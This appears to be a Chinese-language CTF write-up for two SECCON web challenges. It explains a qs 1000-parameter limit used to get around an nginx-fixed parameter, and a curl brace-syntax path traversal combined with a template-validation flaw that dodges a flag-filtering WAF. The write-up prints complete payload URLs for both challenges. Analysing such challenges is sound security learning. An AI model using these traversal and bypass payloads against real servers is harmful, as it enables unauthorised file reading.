skipinx
知识点:qs 参数解析错误
qs简介
一句话介绍就是:qs是负责url参数转化的js库,当然也可以说是查询字符串解析和字符串化库。
详细了解移步:https://www.npmjs.com/package/qs
qs简单用法
例如:我们 url 参数是 foo[bar]=baz,那么他就会转化为一个对象
assert.deepEqual(qs.parse('foo[bar]=baz'), {
foo: {
bar: 'baz'
}
});
可以嵌套对象,例如:
assert.deepEqual(qs.parse('foo[bar][baz]=foobarbaz'), {
foo: {
bar: {
baz: 'foobarbaz'
}
}
});
也可以是正常的键值对:url 参数为 a=b&proxy=nginx,解析为
{ a: 'b', proxy: 'nginx' }
getflag
在 index.js 中可以看到只要 get 参数 proxy 中没用 nginx 这个值就可以了,但是直接令 proxy=xxx 无法绕过,问题出来哪里了呢?

问题出在了 nginx 的配置文件 conf 上了,它固定了 / 路由的 proxy 参数是 nginx,那要怎么绕过呢?

在 package-lock.json,可以看到有用 qs 处理 http 的 body。

且在 qs 的文档中可以看到,qs 最多解析 1000 个参数。

payload:
curl $(python -c 'print("http://skipinx.seccon.games:8080/?proxy=x"+"&a="*999)')

easylfi
知识点:curl 的多文件下载(访问),代码审计
curl 的多文件下载
https://qastack.cn/unix/243134/curl-download-multiple-files-with-brace-syntax

例外:如果您指定多个文件,curl 将在每个文件之间用换行符连接每个文件,就这题来说,可以明显看到它换行了。

分析
根路由,过滤了 .. 和 % 可以用 {.}{.} 绕过 ..,且访问的文件要存在,最后把 (proc.stdout.decode(), request.args) 送给 template 处理,前者是 curl 访问文件后产生的输出,后者是请求的参数和值。
@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
if ".." in filename or "%" in filename:
return "Do not try path traversal :("
try:
proc = subprocess.run(
["curl", f"file://{os.getcwd()}/public/{filename}"],
capture_output=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return "Timeout"
if proc.returncode != 0:
return "Something wrong..."
return template(proc.stdout.decode(), request.args)
template 函数先把参数的键名和键值送给 validate 函数判断符不符合格式,然后再替换 {...} 和键值。
注意:这边是在输出内容的基础上替换的,且这题是有 waf 的,返回的值不能有 SECCON,那么我们是不是可以通过某些操作令这个替换功能,替换掉返回的 SECCON,这样就可以绕过 waf 了。
def template(text: str, params: dict[str, str]) -> str:
# A very simple template engine
for key, value in params.items():
if not validate(key):
return f"Invalid key: {key}"
text = text.replace(key, value) # key 为 {name} 里面的name,利用 value 代替 name,在返回到模板里面
# text 是输出的内容
return text
@app.after_request
def waf(response: Response):
if b"SECCON" in b"".join(response.response):
return Response("Try harder")
return response
最后看看这个判断 url 参数格式的函数,它本意是想判断格式是不是 {....},但是它写的有问题,在 for 循环下的第一个 if 判断只要等于 { 就直接返回 true 了,那这个有什么用呢?
def validate(key: str) -> bool:
# E.g. key == "{name}" -> True
# key == "name" -> False
if len(key) == 0:
return False
is_valid = True
for i, c in enumerate(key):
if i == 0:
is_valid &= c == "{" # {=456 也可以
elif i == len(key) - 1:
is_valid &= c == "}"
else:
is_valid &= c != "{" and c != "}"
return is_valid
用这题举一个例子:
{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}
此时它返回的是当前运行的命令,和 hello.html 代码

{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{
当我们把 {proc/self/cmdline,app/public/hello.html} 替换为 { ,把 { 替换为 }{ 时,我们就创造了一个闭合,途中红圈内的。

最后我们只要把红圈内的替换掉就可以了
http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{&{%00--_curl_--file:///app/public/../../app/public/hello.html%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%3Ctitle%3Eeasylfi%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%20%20%3Ch1%3EHello%2C%20}=success!!!
从下图中可以看到我们成功的把红圈内的内容替换为 success!!!

getflag
从上我举的例子中可以看出只要构造出一个类似 {.....%0aSECCON} 的闭合,并把它替换掉就可以绕过 waf 了。
这里的 %0a 是因为 curl 将在每个文件之间用换行符连接每个文件。
payload:
{.}{.}/{.}{.}/{proc/self/cmdline,flag.txt}?{proc/self/cmdline,flag.txt}={&{=}{&{%00--_curl_--file:///app/public/../../flag.txt%0ASECCON}=succ
这边要注意的是 --_curl_-- 前面是有不可见字符隔开的,我们复制的时候可以发现它并不是空格,是 %00,也就是 url 中字符串结束的标志。

reference
https://qiita.com/kusano_k/items/13867e5defc0e5491917#skipinx
https://qiita.com/__dAi00/items/3264238fa0d82d900606#easylfi



















